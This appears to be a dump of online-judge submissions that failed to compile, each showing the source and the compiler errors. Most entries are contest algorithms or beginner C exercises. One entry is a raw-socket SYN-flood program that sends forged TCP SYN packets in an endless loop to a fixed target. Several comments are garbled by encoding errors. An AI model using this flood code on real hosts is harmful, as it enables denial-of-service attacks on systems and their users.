#include <stdio.h> #include <math.h> #include <string.h> #include <time.h> #include <limits.h> #include <algorithm> #include <queue> #define clr(a,b) memset(a,b,sizeof(a)) #define forn(i,n) for(int i=0;i<n;i++) #define ll long long using namespace std; const double Ka=1000, Kb=1000, Kc=1000; const double eps=1e-4; typedef int typef; typedef double typec; const int N=50,M=100000; const typef inff=0x3f3f3f3f; const typec infc=1E9; int flow[N][N]; double cost[N][N]; int flag[N],used[N]; int dis[N][N]; int ans[100010]; struct MinCostMaxFlow { int e, ev[M], nxt[M], fa[M], pre[M], head[N]; typec cost[M], dist[N]; typef cap[M],icap[M]; int pnt[N], road[N], q[N], bg, ed; bool vis[N]; void init() { e = 0; clr(head, -1);clr(pre, -1); } void sa_init(){ for(int i=0;i<e;i++) cap[i]=icap[i]; } void addedge(int u, int v, typef f, typec c) //u->v flow=f, cost=c { fa[e]=u;ev[e]=v;icap[e]=cap[e]=f;cost[e]=c;nxt[e]=head[u];pre[head[u]]=e;head[u]=e++; fa[e]=v;ev[e]=u;icap[e]=cap[e]=0;cost[e]=-c;nxt[e]=head[v];pre[head[v]]=e;head[v]=e++; } void deledge(int u,int v,int id){ if(~pre[id]){ nxt[pre[id]]=nxt[id]; pre[nxt[id]]=pre[id]; } else{ head[u]=nxt[id]; pre[nxt[id]]=-1; } } bool spfa(int s, int t, int n) { forn (i, n) dist[i] = infc, vis[i] = 0; bg = ed = dist[s] = 0; pnt[s] = s; q[ed++] = s; while (bg != ed) { int u = q[bg++]; vis[u] = 0; if (bg == N) bg = 0; for (int i = head[u]; ~i; i = nxt[i]) { if (cap[i] <= 0)continue; int v = ev[i]; if (dist[v] > dist[u] + cost[i] + eps) { dist[v] = dist[u] + cost[i]; pnt[v] = u; road[v] = i; if (!vis[v]) { q[ed++] = v; vis[v] = 1; if(ed == N)ed = 0; } } } } return fabs(dist[t]-infc)>eps; } void mincost(int s, int t, int n, typef &f, typec &c) { c = f = 0; while(spfa(s, t, n)) { typef minf = inff; for(int u = t; u != s; u = pnt[u]) minf = min(minf, cap[road[u]]); for(int u = t; u != s; u = pnt[u]) { cap[road[u]] -= minf; cap[road[u] ^ 1] += minf; } f += minf; c += minf * dist[t]; } } }g,g1; double costa(double Ka,int x){ if(x<=30) return 1.0*Ka/45.34; double up,down,tmp; up=-0.51*x+60.6404; down=-0.51*x+61.1504; tmp=-1.0*Ka/0.51*log(up/down); return tmp; } double costb(double Kb,int x){ if(x<=10) return 1.0*Kb/54.14; double up,down,tmp; up=-0.45*x+58.6404; down=-0.45*x+59.0904; tmp=-1.0*Kb/0.45*log(up/down); return tmp; } double costc(double Kc,double x){ double y=0.5*x+3.4; double up,down,tmp; up=10000.0*y*y-172200*y+369430; down=10000.0*y*y-172200*y+481396; tmp=0.0893131*Kc*log(up/down); return tmp; } void floyed(int tot){ for(int k=0;k<tot;k++) for(int i=0;i<tot;i++) for(int j=0;j<tot;j++) dis[i][j]=min(dis[i][j],dis[i][k]+dis[k][j]); } int main(){ #ifdef WAR10CK freopen("in","r",stdin); freopen("out","w",stdout); #endif int tot,u,v,f,x,y; double c; char type[5]; g.init();clr(cost,0);clr(flow,0);clr(flag,0);clr(used,0);clr(dis,0x3f); scanf("%d",&tot); scanf("%d",&x); for(int i=0;i<x;i++){ scanf("%d",&y); used[y]=1; } scanf("%d",&x); for(int i=0;i<x;i++){ scanf("%d",&y); flag[y]=1; } scanf("%d",&x); for(int i=0;i<x;i++){ scanf("%d",&y); flag[y]=2; } while(~scanf("%d%d%s",&u,&v,type)){ if(flag[u] && flag[v]){ dis[u][v]=dis[v][u]=1; } if(type[0]=='x'){ scanf("%d",&f); g.addedge(u,v,f,0); } else if(type[0]=='y'){ scanf("%d",&f); g.addedge(u,v,f,0); } else if(type[0]=='a'){ for(int i=1;i<=118;i++){ if(u==16 && v==22){ g.addedge(u,v,100,costa(20*Ka,i)); g.addedge(v,u,100,costa(20*Ka,i)); continue; } if(u==31 && v==32){ g.addedge(u,v,100,costa(2*Ka,i)); g.addedge(v,u,100,costa(2*Ka,i)); continue; } if(u==25 && v==29){ g.addedge(u,v,100,costa(2*Ka,i)); g.addedge(v,u,100,costa(2*Ka,i)); continue; } if(u==3 && v==25){ g.addedge(u,v,100,costa(2*Ka,i)); g.addedge(v,u,100,costa(2*Ka,i)); continue; } g.addedge(u,v,100,costa(Ka,i)); g.addedge(v,u,100,costa(Ka,i)); // printf("%d\n",costa(i)); } } else if(type[0]=='b'){ for(int i=1;i<=60;i++){ if((u==11 && v==30) || (u==15 && v==30)){ g.addedge(u,v,100,costb(2*Kb,i)); g.addedge(v,u,100,costb(2*Kb,i)); continue; } if(u==22 && v==24){ g.addedge(u,v,100,costb(10*Kb,i)); g.addedge(v,u,100,costb(10*Kb,i)); continue; } if(u==17 && v==24){ g.addedge(u,v,100,costb(2*Kb,i)); g.addedge(v,u,100,costb(2*Kb,i)); continue; } g.addedge(u,v,100,costb(Kb,i)); g.addedge(v,u,100,costb(Kb,i)); // printf("%d\n",costb(i)); } } else if(type[0]=='c'){ for(int i=1;i<=20;i++){ g.addedge(u,v,100,costc(Kc,i)); g.addedge(v,u,100,costc(Kc,i)); // printf("%d : %lf\n",i,costc(Kc,i)); } } } floyed(tot); double T=10,r=0.95; int cnt=4;//隶ー蠖穂ク企擇逧?膚蝨域焚驥? while(T >= 1){ srand((unsigned) time(NULL)); for(int i=0;i<tot;i++){ if(used[i]){ //sa init //tmp int tmp,tcnt; do{ tmp=rand()%tot; }while(!flag[tmp] && dis[i][tmp]>T); //cnt if(flag[tmp]==1 && flag[i]==2 && !used[tmp]){ if(cnt==5) continue; else tcnt=cnt+1; } else if(flag[tmp]==2 && flag[i]==1 && !used[tmp]){ if(cnt==4) continue; else tcnt=cnt-1; } else tcnt=cnt; //edge g1=g; if(!used[tmp]){ for(int j=g1.head[33];~j;j=g1.nxt[j]){ if(g1.ev[j]==i){ g1.addedge(tmp,33,g1.icap[j^1],0); g1.deledge(g1.fa[j],g1.ev[j],j); g1.deledge(g1.fa[j^1],g1.ev[j^1],j^1); } } } else{ int minn=min(i,tmp),maxn=max(i,tmp); int tcap; for(int j=g1.head[33];~j;j=g1.nxt[j]){ if(g1.ev[j]==minn){ g1.addedge(maxn,33,g1.icap[j^1],0); g1.deledge(g1.fa[j],g1.ev[j],j); g1.deledge(g1.fa[j^1],g1.ev[j^1],j^1); } else if(g1.ev[i]==maxn){ g1.addedge(minn,33,g1.icap[j^1],0); g1.deledge(g1.fa[j],g1.ev[j],j); g1.deledge(g1.fa[j^1],g1.ev[j^1],j^1); } } } //sa int f,f1;double c,c1; g.sa_init();g1.sa_init(); g.mincost(0,33,tot,f,c);g1.mincost(0,33,tot,f1,c1); double dE=c-c1; if(dE>=0){ g=g1;cnt=tcnt; if(used[tmp]) continue; else used[tmp]=true,used[i]=false; } else{ if(exp(dE/T) > (double)rand()/INT_MAX){ g=g1;cnt=tcnt; if(used[tmp]) continue; else used[tmp]=true,used[i]=false; } } //update printf("T=%-10.3lf flow=%-10d cost=%lf\n",T,f,c); } } T *= r; } for(int i=0;i<tot;i++) if(used[i]) printf("%d ",i); puts(""); for(int i=0;i<g.e;i+=2){ // if(g.cap[i]>0&&g.cap[i]<100) printf("go\n"); // if(g.fa[i]==0 || g.ev[i]==0){ // flow[g.fa[i]][g.ev[i]]+=g.cap[i]; // continue; // } flow[g.fa[i]][g.ev[i]]+=100-g.cap[i]; cost[g.fa[i]][g.ev[i]]+=(100-g.cap[i])*g.cost[i]; } for(int i=1;i<tot-1;i++) for(int j=i;j<tot-1;j++){ if(flow[i][j]==flow[j][i] && flow[i][j]){ printf("i:%d j:%d\n",i,j); } if(flow[i][j]>flow[j][i]){ flow[i][j]-=flow[j][i]; cost[i][j]=cost[i][j]+cost[j][i]; if(flow[i][j] || cost[i][j]){ printf("%d->%d %d %lf\n",i,j,flow[i][j],cost[i][j]); } } else{ flow[i][j]=flow[j][i]-flow[i][j]; cost[i][j]=cost[j][i]+cost[i][j]; if(flow[i][j] || cost[i][j]){ printf("%d->%d %d %lf\n",j,i,flow[i][j],cost[i][j]); } } // if(flow[i][j] && flow[j][i]){ // printf("%d %d %d %d\n",i,j,flow[i][j],flow[j][i]); // } } return 0; }
main.c:6:10: fatal error: algorithm: No such file or directory 6 | #include <algorithm> | ^~~~~~~~~~~ compilation terminated.
s251725917
p00000
C
#include <stdio.h> int main(void) { int n; for(i=1;n*i==81;i++) { if(i==10) { i=1; n++; } printf("%d x %d = %d\n"n,i,i*n); } return 0; }
main.c: In function 'main': main.c:7:5: error: 'i' undeclared (first use in this function) 7 | for(i=1;n*i==81;i++) | ^ main.c:7:5: note: each undeclared identifier is reported only once for each function it appears in main.c:16:24: error: expected ')' before 'n' 16 | printf("%d x %d = %d\n"n,i,i*n); | ~ ^ | )
s871480921
p00000
C
9 1 5 0 0 3 2 4 5 5 1 0 4 5 2 1 2 5 3 3 1 3 9 7 1 2 4 2 9 2 6 5 1 5 4 8
main.c:1:1: error: expected identifier or '(' before numeric constant 1 | 9 | ^
s052911849
p00000
C
#include <cstdio> #include <cstring> #include <iostream> using namespace std; const int INF = ~0U>>1; const int MAX_N = 500005; const int N = 200005; const int M = 200005; struct Q{ int ask, x, y; Q(int _ask = 0, int _x = 0, int _y = 0){ ask = _ask; x = _x; y = _y; } void go(); } que[N]; struct Node{ Node*ch[2], *p; int size, val; Node(){ size = 0; val = -INF; } bool d(){ return this == p->ch[1]; } void setc(Node*c, int d){ ch[d] = c; c->p = this; } void relax(){ } void upd(){ size = ch[0]->size + ch[1]->size + 1; } } Tnull, *null = &Tnull; Node mem[MAX_N], *C = mem, *rt[MAX_N], *q[MAX_N]; Node*make(int v) { C->ch[0] = C->ch[1] = null; C->size = 1; C->val = v; return C++; } void rot(Node*&root, Node*t) { Node*p = t->p; p->relax(); t->relax(); int d = t->d(); p->p->setc(t, p->d()); p->setc(t->ch[!d], d); t->setc(p, !d); p->upd(); if (p == root) root = t; } void splay(Node*&root, Node*t, Node*f = null){ while(t->p != f){ if(t->p->p == f) rot(root, t); else t->d() == t->p->d() ? (rot(root, t->p), rot(root,t)) : (rot(root,t), rot(root,t)); } t->upd(); } Node* select(Node*&root, int k) { for (Node*t = root;;) { t->relax(); int c = t->ch[0]->size; if (k == c) return t; if (k > c) k -= c + 1, t = t->ch[1]; else t = t->ch[0]; } } int getr(Node *&root, int val){ Node*t = root; int cnt = 0; while(t != null){ t->relax(); if(t->val > val){ t = t->ch[0]; } else{ cnt += t->size - t->ch[1]->size; t = t->ch[1]; } } return cnt; } Node*&get(Node*&root, int l, int r) { //[l,r) Node*L = select(root, l - 1); Node*R = select(root, r); splay(root, L); splay(root, R, L); return R->ch[0]; } void del(Node*&root, int val){ int rk = getr(root, val); Node* t = get(root, rk,rk+1)->p; t->setc(null, 0); splay(root, t); } void ins(Node*&root, int val){ int rk = getr(root, val); Node* t = get(root, rk+1,rk+1)->p; t->setc(make(val), 0); splay(root, t->ch[0]); } int fa[N]; int getf(int u){ return u==fa[u]? u : fa[u] = getf(fa[u]); } void merge(int x, int y){ int l, r; x = getf(x); y = getf(y); if(x == y) return; if(rt[x]->size < rt[y]->size) swap(x, y); q[l = r = 1] = rt[y]; while(l<=r){ Node* u = q[l++]; if(u != null) ins(rt[x], u->val); for(int i = 0; i < 2; ++i) if(u->ch[i] != null) q[++r] = u->ch[i]; } } int sumc, sum, a[N]; void Q::go(){ if(ask == 0){ merge(x,y); } else if(ask == 1){ sumc++; Node*t = select(rt[x], rt[x]->size - y); sum += t->val; } else{ del(rt[x], a[x]); a[x] = y; ins(rt[x], y); } } pair<int,int> e[M]; bool mark[M]; char s[5]; int main(){ freopen("1.txt","r",stdin); int n, m, i, x, y, cal = 0; while(~scanf("%d%d",&n,&m)&&(n+m)){ for(i = 1; i <= n; ++i){ scanf("%d",&a[i]); rt[i] = make(a[i]); rt[i]->setc(null,0); rt[i]->setc(null,1); rt[i]->upd(); } memset(mark, 0, sizeof(mark)); for(i = 1; i <= m; ++i) scanf("%d%d",&e[i].first,&e[i].second); int cnt = 0; while(~scanf("%s",s)&&s[0]!='E'){ if(s[0] == 'D'){ scanf("%d",&x); mark[x] = 1; que[cnt++] = Q(0,x); } else if(s[0] == 'Q'){ scanf("%d%d",&x,&y); que[cnt++] = Q(1,x,y); } else if(s[0] == 'C'){ scanf("%d%d",&x,&y); que[cnt++] = Q(2,x,y); } } for(i = 1; i <= m; ++i) if(!mark[i]) merge(e[i].first, e[i].second); sum = 0; sumc = 0; for(i = cnt-1; i >= 0; --i) que[i].go(); printf("Case #%d: %.6f\n",++cal,sum*1.0/sumc); } return 0; }
main.c:1:10: fatal error: cstdio: No such file or directory 1 | #include <cstdio> | ^~~~~~~~ compilation terminated.
s172513602
p00000
C
#include<stdio.h> int main(){
main.c: In function 'main': main.c:3:1: error: expected declaration or statement at end of input 3 | int main(){ | ^~~
s072126659
p00000
C
#include<stdio.h> int main(){ int a; intb; scanf("%d %d"a ,b); printf("%d"a x b); return 0; }
main.c: In function 'main': main.c:4:8: error: 'intb' undeclared (first use in this function); did you mean 'int'? 4 | int a; intb; | ^~~~ | int main.c:4:8: note: each undeclared identifier is reported only once for each function it appears in main.c:5:14: error: expected ')' before 'a' 5 | scanf("%d %d"a ,b); | ~ ^ | ) main.c:6:12: error: expected ')' before 'a' 6 | printf("%d"a x b); | ~ ^ | )
s782493447
p00000
C
#include<stdio.h> int main(){ int a; intb; scanf("%d %d", &a ,&b); printf("%d",a x b); return 0; }
main.c: In function 'main': main.c:4:8: error: 'intb' undeclared (first use in this function); did you mean 'int'? 4 | int a; intb; | ^~~~ | int main.c:4:8: note: each undeclared identifier is reported only once for each function it appears in main.c:5:21: error: 'b' undeclared (first use in this function) 5 | scanf("%d %d", &a ,&b); | ^ main.c:6:14: error: expected ')' before 'x' 6 | printf("%d",a x b); | ~ ^~ | )
s111382781
p00000
C
#include<stdio.h> int main(){ int a; intb; scanf("%d %d", &a ,&b); printf("axb=%d",a * b); return 0; }
main.c: In function 'main': main.c:4:8: error: 'intb' undeclared (first use in this function); did you mean 'int'? 4 | int a; intb; | ^~~~ | int main.c:4:8: note: each undeclared identifier is reported only once for each function it appears in main.c:5:21: error: 'b' undeclared (first use in this function) 5 | scanf("%d %d", &a ,&b); | ^
s884143220
p00000
C
#include<stdio.h> #include<string.h> #include<sys/socket.h> #include<stdlib.h> #include<errno.h> #include<netinet/tcp.h> #include<netinet/ip.h> struct Header { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }; unsigned short csum(unsigned short *ptr,int nbytes) { //隶。邂玲?鬪悟柱 register long sum; unsigned short oddbyte; register short answer; sum=0; while(nbytes>1) { sum+=*ptr++; nbytes-=2; } if(nbytes==1) { oddbyte=0; *((u_char*)&oddbyte)=*(u_char*)ptr; sum+=oddbyte; } sum = (sum>>16)+(sum & 0xffff); sum = sum + (sum>>16); answer=(short)~sum; return(answer); } int main (void) { //蛻帛サコsocket int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); //陦ィ遉コ蛹?噪謨ー謐ョ謚・ char datagram[4096] , source_ip[32]; //IP螟エ struct iphdr *iph = (struct iphdr *) datagram; //TCP螟エ struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip)); struct sockaddr_in sin; struct Header psh; strcpy(source_ip , "211.87.227.48"); sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr ("1.2.3.4"); memset (datagram, 0, sizeof(datagram)); //蝪ォ蜈?P蛹?、エ iph->version = 4;//迚域悽蜿キ iph->ihl = 5;//螟エ髟ソ蠎ヲ iph->tos = 0;//譛榊苅邀サ蝙具シ壽勸騾? iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr); //IP蛹??髟ソ iph->id = htons(54321); //譬?ッ?ャヲ iph->frag_off = 0;//譬?ョー iph->ttl = 255;//逕溷ュ俶慮髣エ iph->protocol = IPPROTO_TCP;//蜊剰ョョ iph->check = 0; iph->saddr = inet_addr ( source_ip ); //貅仙慍蝮? iph->daddr = sin.sin_addr.s_addr;//逶ョ逧?慍蝮? iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);//螟エ驛ィ譬。鬪? //隶セ鄂ョCP螟エ tcph->source = htons (1234);//貅千ォッ蜿」 tcph->dest = htons (80);//逶ョ逧?ォッ蜿」 tcph->seq = 0;//蠎丞?蜿キ tcph->ack_seq = 0;//蠎皮ュ泌捷 tcph->doff = 5; tcph->fin=0; tcph->syn=1; tcph->rst=0; tcph->psh=0; tcph->ack=0;// tcph->urg=0;//邏ァ諤・謨ー謐ョ蛛冗ァサ驥? tcph->window = htons (5840); //譛?、ァ遯怜哨螟ァ蟆? tcph->check = 0; tcph->urg_ptr = 0; //Now the IP checksum psh.source_address = inet_addr( source_ip ); psh.dest_address = sin.sin_addr.s_addr; psh.placeholder = 0; psh.protocol = IPPROTO_TCP; psh.tcp_length = htons(20); memcpy(&psh.tcp , tcph , sizeof (struct tcphdr)); tcph->check = csum( (unsigned short*) &psh , sizeof (struct Header)); //蜻願ッ牙?譬クpackage荳ュ蟾イ扈丞桁蜷ォhead int one = 1; const int *val = &one; if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) { printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno)); exit(0); } //SYN flood : printf("SYN flood\n"); int cnt=0; while (1) { //蜿鷹?蛹? if (sendto (s,datagram,iph->tot_len,0,(struct sockaddr *) &sin,sizeof(sin))<0) { printf ("error\n"); } else { printf ("%d Packet Send to %s \n",++cnt,source_ip); } } return 0; }
main.c: In function 'main': main.c:57:31: error: implicit declaration of function 'inet_addr' [-Wimplicit-function-declaration] 57 | sin.sin_addr.s_addr = inet_addr ("1.2.3.4"); | ^~~~~~~~~ main.c:112:17: error: 'else' without a previous 'if' 112 | else | ^~~~
s861328573
p00000
C
#include <stdio.h> int main(){ for
main.c: In function 'main': main.c:6: error: expected '(' at end of input main.c:5:1: error: expected declaration or statement at end of input 5 | for | ^~~
s899278147
p00000
C
#include<stdio.h> int main(void) { int i,j,s,x; x=='*'; for(i=1;i<=9;i++){ for(j=1;j<=9;j++){ s=ixj; printf("%dx%d=%d\n",i,j,s); } } return 0; }
main.c: In function 'main': main.c:9:27: error: 'ixj' undeclared (first use in this function) 9 | s=ixj; | ^~~ main.c:9:27: note: each undeclared identifier is reported only once for each function it appears in
s551660997
p00000
C
#include<stdio.h> int main(void) { int i,j,s,x; x=='*'; for(i=1;i<=9;i++){ for(j=1;j<=9;j++){ s=i x j; printf("%d%d%d=%d\n",i,x,j,s); } } return 0; }
main.c: In function 'main': main.c:9:28: error: expected ';' before 'x' 9 | s=i x j; | ^~ | ;
s358870062
p00000
C
#include<iostream> #include<cstring> #include<vector> using namespace std; const int maxn=110000; long long f1[maxn][5],f2[maxn][5],g[maxn][5]; int rec1[maxn][5],rec2[maxn][5]; int kun[maxn]; long long a[maxn]; bool v[maxn]; vector<int>b[maxn]; int n,c; void dp1(int x) { if(v[x])return; v[x]=true; for(int i=0;i<b[x].size();i++) { int u=b[x][i]; dp1(u); for(int j=0;j<=c;j++) { if(j-kun[x]>=0 && f1[u][j-kun[x]]+a[x]>f1[x][j]) { f2[x][j]=f1[x][j]; rec2[x][j]=rec1[x][j]; f1[x][j]=f1[u][j-kun[x]]+a[x]; rec1[x][j]=u; } else if(j-kun[x]>=0 && f1[u][j-kun[x]]+a[x]>f2[x][j]) { f2[x][j]=f1[u][j-kun[x]]+a[x]; rec2[x][j]=u; } } } } void dfs(int x,int father) { if(v[x])return; v[x]=true; for(int j=0;j<=c;j++) if(j-kun[x]>=0) { if(rec1[father][j-kun[x]]!=x) g[x][j]=f1[father][j-kun[x]]+a[x]; else if(rec2[father][j-kun[x]]!=x) g[x][j]=f2[father][j-kun[x]]+a[x]; g[x][j]=max(g[x][j],g[father][j-kun[x]]+a[x]); } for(int i=0;i<b[x].size();i++) if(!v[b[x][i]])dfs(b[x][i],x); } int main() { int sec; cin>>sec; while(sec--) { cin>>n>>c; for(int i=0;i<=n;i++) b[i].clear(); for(int i=1;i<=n;i++) { cin>>a[i]>>kun[i]; } for(int i=1;i<n;i++) { int x,y; cin>>x>>y; x++;y++; b[x].push_back(y); b[y].push_back(x); } memset(f1,0,sizeof(f1)); memset(f2,0,sizeof(f2)); memset(g,0,sizeof(g)); memset(v,false,sizeof(v)); memset(rec1,-1,sizeof(rec1)); memset(rec2,-1,sizeof(rec2)); for(int i=1;i<=n;i++) { f1[i][kun[i]]=a[i]; g[i][kun[i]]=a[i]; rec1[i][kun[i]]=i; } dp1(1); memset(v,false,sizeof(v)); for(int i=0;i<b[1].size();i++) { v[1]=true; dfs(b[1][i],1); } long long ans=0; for(int i=1;i<=n;i++) if(kun[i]==0) { for(int j=0;j<=c;j++) { long long t=max(f1[i][j]+g[i][c-j]-a[i],f1[i][j]+f2[i][c-j]-a[i]); ans=max(ans,t); } } else { for(int j=1;j<=c;j++) { long long t=max(f1[i][j]+g[i][c+1-j]-a[i],f1[i][j]+f2[i][c+1-j]-a[i]); ans=max(ans,t); } } cout<<ans<<"\n"; } return 0; }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s427784902
p00000
C
#include<iostream> #include<stdio.h> #include<algorithm> #define lson ch[x][0] #define rson ch[x][1] #define rlson ch[ch[root][1]][0] using namespace std; //typedef long long LL; typedef int LL; const int N=500050; const int inf=(int)1e8; int n,m,cas; struct KEY { LL ls,rs,ms,sum,key,sz; KEY(){sz=0;} KEY(int val){ sz=1; key=ls=rs=ms=sum=val; } ///蜿ッ閭ス譌?キヲ蜿ウ蜆ソ蟄撰シ径,b譏ッkey[0],豕ィ諢丞、?炊key[0]逧?? void print(){ printf("ls=%d rs=%d ms=%d sum=%d %d\n",ls,rs,ms,sum,key); } void up(KEY a,KEY b) { sz=1+a.sz+b.sz; sum=key; if(a.key!=-inf) sum+=a.sum; if(b.key!=-inf) sum+=b.sum; if(a.key==-inf) ls=max(key,key+b.ls); else ls=max(a.sum+key,a.sum+key+b.ls); ls=max(ls,a.ls); if(b.key==-inf) rs=max(key,key+a.rs); else rs=max(b.sum+key,b.sum+key+a.rs); rs=max(rs,b.rs); LL tmp=key; if(a.rs>0) tmp+=a.rs; if(b.ls>0) tmp+=b.ls; ms=max(a.ms,b.ms); ms=max(ms,tmp); if(m==cas) { puts("---------------------------------"); print(); a.print(); b.print(); } } void rev(){ swap(ls,rs); } void setc(LL c){ key=c; sum=sz*c; ls=rs=ms=max(c,sum); } }; bool flag; int num[N]; struct SPT { int cnt,root,ch[N][2],pre[N],lazy[N],add[N]; KEY key[N]; void push_up(int x){ if(m==cas)printf("x=%d %d %d\n",x,lson,rson); key[x].up(key[lson],key[rson]); } void push_down(int x){ if(lazy[x]){ lazy[lson]^=1; lazy[rson]^=1; swap(lson,rson); key[lson].rev(); key[rson].rev(); lazy[x]=0; } if(add[x]){ add[lson]=add[x];///豁、螟?弍add陦ィ遉コ菫ョ謾ケ謌芯逧?峩譁ー譁ケ蠑擾シ御ク肴弍蜉? add[rson]=add[x]; key[lson].setc(add[x]); key[rson].setc(add[x]); add[x]=0; } } void newnode(int &x,int val) { x=++cnt; key[x]=KEY(val); pre[x]=lson=rson=0; lazy[x]=add[x]=0; } void rotate(int x,int kind) { int y=pre[x]; push_down(y); push_down(x); if(pre[y]) ch[pre[y]][ ch[pre[y]][1]==y ]=x; pre[x]=pre[y]; ch[y][!kind]=ch[x][kind]; if(ch[x][kind]) pre[ch[x][kind]]=y; pre[y]=x; ch[x][kind]=y; push_up(y); // if(x==pre[x]||y==pre[y]) while(1); } void splay(int x,int goal) { if(x==0) return ; // cout<<"x="<<x<<' '<<pre[x]<<endl; push_down(x); while(pre[x]!=goal) { int y=pre[x]; if(pre[y]==goal) rotate(x,ch[y][1]!=x);//puts("11111"); else{ // puts("2222222"); int kind=(ch[pre[y]][1]==y); if(ch[y][kind]==x) rotate(y,!kind),rotate(x,!kind); else rotate(x,kind),rotate(x,!kind); } // cout<<"x="<<x<<' '<<pre[x]<<endl; } push_up(x); if(goal==0) root=x; } void roto(int k,int goal){ int x=root; push_down(x); while(key[lson].sz!=k){ if(k<key[lson].sz) x=lson; else{ k-=(1+key[lson].sz); x=rson; } push_down(x); } // puts("roto"); // printf("x=%d %d\n",x,goal); splay(x,goal); } void init() { cnt=root=0; key[0].sz=0; key[0].key=key[0].ls=key[0].rs=key[0].ms=-inf; key[0].sum=-inf; newnode(root,-1); newnode(ch[root][1],-1); pre[ch[root][1]]=root; push_up(root); } void build(int l,int r,int &x,int f){ if(l>r) return ; int mid=l+r>>1; newnode(x,num[mid]); pre[x]=f; build(l,mid-1,ch[x][0],x); build(mid+1,r,ch[x][1],x); // printf("%d %d %d %d\n",x,ch[x][0],ch[x][1],key[x].key); push_up(x); } ///蝨ィpos荳ェ謨ー蜷主刈蜈・tot荳ェ謨ー ///豕ィ諢乗薯蜈・逧дot荳ェ謨ー蠢?。サ蜈郁ッサ蜈・蛻ーnum[1...tot] void insert(int pos,int tot) { roto(pos,0); roto(pos+1,root); build(1,tot,rlson,ch[root][1]); push_up(ch[root][1]); push_up(root); } void remove(int a,int tot) { // cout<<a<<" hhh "<<a+tot+1<<endl; roto(a-1,0); roto(a+tot,root); int x=rlson; rlson=0; push_up(ch[root][1]); push_up(root); } void setc(int a,int tot,int c) { // cout<<a<<' '<<a+tot+1<<endl; roto(a-1,0); roto(a+tot,root); // print(); // cout<<key[rlson].key<<endl; add[rlson]=c; key[rlson].setc(c); // cout<<key[rlson].key<<endl; push_up(ch[root][1]); push_up(root); } void rev(int a,int tot){ roto(a-1,0); roto(a+tot,root); key[rlson].rev(); lazy[rlson]^=1; push_up(ch[root][1]); push_up(root); } int getsum(int a,int b){ // puts("hh"); roto(a-1,0); // splay(5,0); // puts("hhhh"); // printf("%d %d\n",a,b); roto(b+1,root); // print(); // printf("%d %d\n",key[root].sz,key[rlson].sz); // printf("%d %d\n",a-1,b+1); // return rlson; return key[rlson].sum; } int getmx(int a,int b) { // roto(a-1,0); // roto(b+1,root); roto(0,0); roto(key[root].sz-1,root); return key[rlson].ms; } void print() { roto(0,0); roto(key[root].sz-1,root); flag=0; travel(rlson); puts(""); } void travel(int x) { if(x==0) return ; // if(m==cas)printf("%d %d %d %d\n",x,ch[x][0],ch[x][1],key[x].key); push_down(x); travel(ch[x][0]); // if(flag) putchar(' '); // flag=1; // printf("%d",key[x].key); // printf("%d %d %d mx=%d\n",x,pre[x],key[x].key,key[x].ms); travel(ch[x][1]); } }spt; int main() { cas=3; // cas=10; freopen("1.in","r",stdin); while(scanf("%d%d",&n,&m)!=-1&&n>=0) { for(int i=1;i<=n;++i) scanf("%d",&num[i]); spt.init(); spt.insert(0,n); // return 0; // puts("hhhh"); // spt.print(); // puts("hhhhhhhhh"); while(m--) { char s[20]; int a,b,c; if(m==cas) puts("**********************"); if(m==3) spt.print(); scanf("%s",s); if(s[0]=='M'&&s[2]=='X') printf("%d\n",spt.getmx(-1,-1)); else{ scanf("%d%d",&a,&b); if(s[0]=='G'){ printf("%d\n",spt.getsum(a,a+b-1)); } else if(s[0]=='D'){ spt.remove(a,b); } else if(s[0]=='M'){ scanf("%d",&c); spt.setc(a,b,c); } else if(s[0]=='R') spt.rev(a,b); else if(s[0]=='I'){ for(int i=1;i<=b;++i) scanf("%d",&num[i]); spt.insert(a,b); } else while(1); } // scanf("%d%d",&a,&b); // spt.rev(a,b); // spt.remove(a,b); // printf("mx=%d\n",spt.getmx(-1,-1)); // spt.print(); if(m==cas) puts("***************************"); } return 0; } return 0; }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s247459572
p00000
C
#include<cstdio> int m,n,map[1005][1005],can; int fx[]={1,-1,0,0}; int fy[]={0,0,1,-1}; int dfs(int x,int y,int wan,int dir) { if(wan>2)return 0; int nx,ny; for(i=0;i<4;i++) { nx=x+fx[i]; ny=y+fy[i]; if(nx<0||ny<0||nx>=n||ny>=m)continue; if(map[nx][ny]!=0)continue; if(dir!=-1) { if(dir!=i) wan++; } dfs(nx,ny,wan,i) } } int main() { int i,j,x1,y1,x2,y2; while(scanf("%d%d",&n,&m)) { if(n==0&&m==0)break; for(i=0;i<n;i++) for(j=0;j<m;j++) scanf("%d",&map[i][j]); for(i=0;i<m;i++) { scanf("%d %d %d %d",&x1,&y1,&x2,&y2); if(map[x1-1][y1-1]!=map[x2-1][y2-1]) printf("NO\n"); else { can=0; dfs(x1,y1,0,-1); } } } return 0; }
main.c:1:9: fatal error: cstdio: No such file or directory 1 | #include<cstdio> | ^~~~~~~~ compilation terminated.
s345213455
p00000
C
#include<iostream> #include<queue> #include<string> #include<algorithm> #include<cstring> #include<set> using namespace std; const int maxn=20; set<string>myset; struct rec { string s; int step; }; string a[maxn][66536]; int num[maxn]; char ttm[20]; int ttl; bool hw(string& s) { int l=s.length(); if(l%2==1) { int x=l/2; for(int i=1;x-i>=0;i++) { if(s[x-i]!=s[x+i])return false; } return true; } else { int x=l/2; for(int i=0;i<x;i++) if(s[i]!=s[i+x])return false; return true; } return false; } void dfs(int x,int lim,string &s) { if(x==lim) { ttm[ttl]=0; string ts=ttm; if(ttl>0 && myset.count(ts)<=0 && hw(ts)) { myset.insert(ts); num[ttl]++; a[ttl][num[ttl]]=ttm; } return; } dfs(x+1,lim,s); ttm[ttl]=s[x];ttl++; dfs(x+1,lim,s); ttl--; } void pre(string s) { memset(num,0,sizeof(num)); int l=s.length(); ttl=0; myset.clear(); 